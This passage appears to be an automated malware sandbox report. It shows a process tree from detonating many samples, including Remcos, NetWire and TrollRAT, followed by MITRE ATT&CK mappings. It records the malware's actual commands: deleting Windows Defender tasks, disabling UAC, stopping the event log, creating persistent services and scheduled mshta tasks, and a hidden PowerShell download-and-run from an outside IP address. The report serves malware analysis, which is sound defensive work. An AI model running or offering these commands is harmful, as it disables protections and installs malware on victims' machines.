        sc delete "MsSecCore"
        10⤵
        Launches sc.exe
        
        PID:6760
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        10⤵
        
        PID:4528
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        10⤵
        
        PID:5284
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        10⤵
        
        PID:6192
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        10⤵
        
        PID:6428
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        10⤵
        
        PID:7440
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        10⤵
        Launches sc.exe
        
        PID:7860
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        10⤵
        Launches sc.exe
        
        PID:5708
    - - C:\Users\Admin\AppData\Local\Temp\a\tK0oYx3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\tK0oYx3.exe"
        5⤵
        
        PID:6808
    - - C:\Users\Admin\AppData\Local\Temp\a\zx4PJh6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\zx4PJh6.exe"
        5⤵
        
        PID:5680
      - C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        6⤵
        
        PID:6496
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:3696
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        
        PID:6832
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:4404
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        7⤵
        
        PID:4284
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 440824
        7⤵
        
        PID:3692
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Architecture.wmv
        7⤵
        
        PID:1764
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Offensive" Inter
        7⤵
        
        PID:5364
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        7⤵
        
        PID:5324
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        7⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
        
        Organizations.com h
        7⤵
        
        PID:5764
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:5788
    - - C:\Users\Admin\AppData\Local\Temp\a\Service.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\Service.exe"
        5⤵
        
        PID:1720
    - - C:\Users\Admin\AppData\Local\Temp\a\ntladlklthawd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\ntladlklthawd.exe"
        5⤵
        
        PID:6236
    - - C:\Users\Admin\AppData\Local\Temp\a\Build104.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\Build104.exe"
        5⤵
        
        PID:6392
    - - C:\Users\Admin\AppData\Local\Temp\a\x.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\x.exe"
        5⤵
        
        PID:1652
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "MgrDrvSvc"
        6⤵
        
        PID:4444
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "MgrDrvSvc" binpath= "C:\ProgramData\MgrDrvSvc\sysdoruhgsf.exe" start= "auto"
        6⤵
        Launches sc.exe
        
        PID:6888
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        6⤵
        Launches sc.exe
        
        PID:2968
      - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "MgrDrvSvc"
        6⤵
        
        PID:7472
    - - C:\Users\Admin\AppData\Local\Temp\a\ebc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\ebc.exe"
        5⤵
        
        PID:5124
      - C:\Windows\SysWOW64\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\ebc.exe"
        6⤵
        
        PID:5024
    - - C:\Users\Admin\AppData\Local\Temp\a\vfc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a\vfc.exe"
        5⤵
        
        PID:3460
- C:\Users\Admin\AppData\Local\Temp\malware.exe
  "C:\Users\Admin\AppData\Local\Temp\malware.exe"
  2⤵
  PID:3088
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3088 -s 56
    3⤵
    - Program crash
    PID:3160
- C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe
  "C:\Users\Admin\AppData\Local\Temp\VirusShare_fff8783b7567821cec8838d075d247e1.exe"
  2⤵
  PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\D73E\6B9F.bat" "C:\Users\Admin\AppData\Roaming\chsbmifs\getumf32.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUSS~1.EXE""
    3⤵
    PID:7520
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C ""C:\Users\Admin\AppData\Roaming\chsbmifs\getumf32.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUSS~1.EXE""
      4⤵
      PID:7896
    - - C:\Users\Admin\AppData\Roaming\chsbmifs\getumf32.exe
        
        "C:\Users\Admin\AppData\Roaming\chsbmifs\getumf32.exe" "C:\Users\Admin\AppData\Local\Temp\VIRUSS~1.EXE"
        5⤵
        
        PID:7912
      - C:\Windows\system32\svchost.exe
        
        C:\Windows\system32\svchost.exe
        6⤵
        
        PID:6420
- C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe
  "C:\Users\Admin\AppData\Local\Temp\SteamOBrute.exe"
  2⤵
  PID:3744
- C:\Users\Admin\AppData\Local\Temp\NetWire.exe
  "C:\Users\Admin\AppData\Local\Temp\NetWire.exe"
  2⤵
  PID:3904
- - C:\Users\Admin\AppData\Local\Temp\NetWire.exe
    "C:\Users\Admin\AppData\Local\Temp\NetWire.exe"
    3⤵
    PID:4068
- C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe
  "C:\Users\Admin\AppData\Local\Temp\VirusShare_0ac0c5dc1e706e301c8f902b78c41e3b.exe"
  2⤵
  PID:3948
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3948 -s 1028
    3⤵
    - Program crash
    PID:4872
- C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe
  "C:\Users\Admin\AppData\Local\Temp\TEAM BLUE CLIENT.exe"
  2⤵
  PID:2564
- C:\Users\Admin\AppData\Local\Temp\Remcos.exe
  "C:\Users\Admin\AppData\Local\Temp\Remcos.exe"
  2⤵
  PID:2104
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    PID:2884
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      Modifies registry key
      PID:3036
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\install.bat" "
    3⤵
    PID:4000
  - - C:\Windows\SysWOW64\PING.EXE
      PING 127.0.0.1 -n 2
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2900
  - - C:\Windows\SysWOW64\Userdata\Userdata.exe
      "C:\Windows\SysWOW64\Userdata\Userdata.exe"
      4⤵
      PID:4616
    - - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        5⤵
        
        PID:2412
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        Modifies registry key
        
        PID:2752
    - - C:\Program Files (x86)\Internet Explorer\iexplore.exe
        
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
        5⤵
        
        PID:4128
      - C:\Windows\SysWOW64\cmd.exe
        
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        6⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        7⤵
        Modifies registry key
        
        PID:4548
- C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe
  "C:\Users\Admin\AppData\Local\Temp\Totally A Safe File.exe"
  2⤵
  PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn qvluLmaLS3u /tr "mshta C:\Users\Admin\AppData\Local\Temp\SaiGMiPZs.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    PID:3764
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn qvluLmaLS3u /tr "mshta C:\Users\Admin\AppData\Local\Temp\SaiGMiPZs.hta" /sc minute /mo 25 /ru "Admin" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3108
- - C:\Windows\SysWOW64\mshta.exe
    mshta C:\Users\Admin\AppData\Local\Temp\SaiGMiPZs.hta
    3⤵
    PID:2424
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'QOBD0UMN5FTCWLZUS4EYXICV9CKPTVMZ.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3996
    - - C:\Users\Admin\AppData\Local\TempQOBD0UMN5FTCWLZUS4EYXICV9CKPTVMZ.EXE
        
        "C:\Users\Admin\AppData\Local\TempQOBD0UMN5FTCWLZUS4EYXICV9CKPTVMZ.EXE"
        5⤵
        
        PID:5012
      - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        6⤵
        
        PID:6468
- C:\Users\Admin\AppData\Local\Temp\putty.exe
  "C:\Users\Admin\AppData\Local\Temp\putty.exe"
  2⤵
  PID:3532
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\30A2.tmp\putty.bat" "C:\Users\Admin\AppData\Local\Temp\putty.exe""
    3⤵
    PID:1712
- C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe
  "C:\Users\Admin\AppData\Local\Temp\TrollRAT.exe"
  2⤵
  PID:3928
- C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe
  "C:\Users\Admin\AppData\Local\Temp\Unconfirmed 78105.crdownload.exe"
  2⤵
  PID:3000
- C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe
  "C:\Users\Admin\AppData\Local\Temp\Josh Bogler.exe"
  2⤵
  PID:3612

C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe
C:\Users\Admin\AppData\Local\Temp\psychosomatic.RAT.exe C:\Users\Admin 0
1⤵
PID:292

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe" service_service
1⤵
PID:2392

C:\Windows\SysWOW64\sysigeb.exe
C:\Windows\SysWOW64\sysigeb.exe
1⤵
PID:4060

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
1⤵
PID:3228

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5732

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe"
1⤵
PID:4164

C:\ProgramData\MgrDrvSvc\sysdoruhgsf.exe
C:\ProgramData\MgrDrvSvc\sysdoruhgsf.exe
1⤵
PID:3832
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1532
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  PID:6132

C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe
"C:\Users\Admin\AppData\Local\Temp\783e538320d6a9f69ac93e74a1296403cd8824596c535f8fc563fbbc21bf362d.exe"
1⤵
PID:8012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Modify Authentication Process

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Modify Authentication Process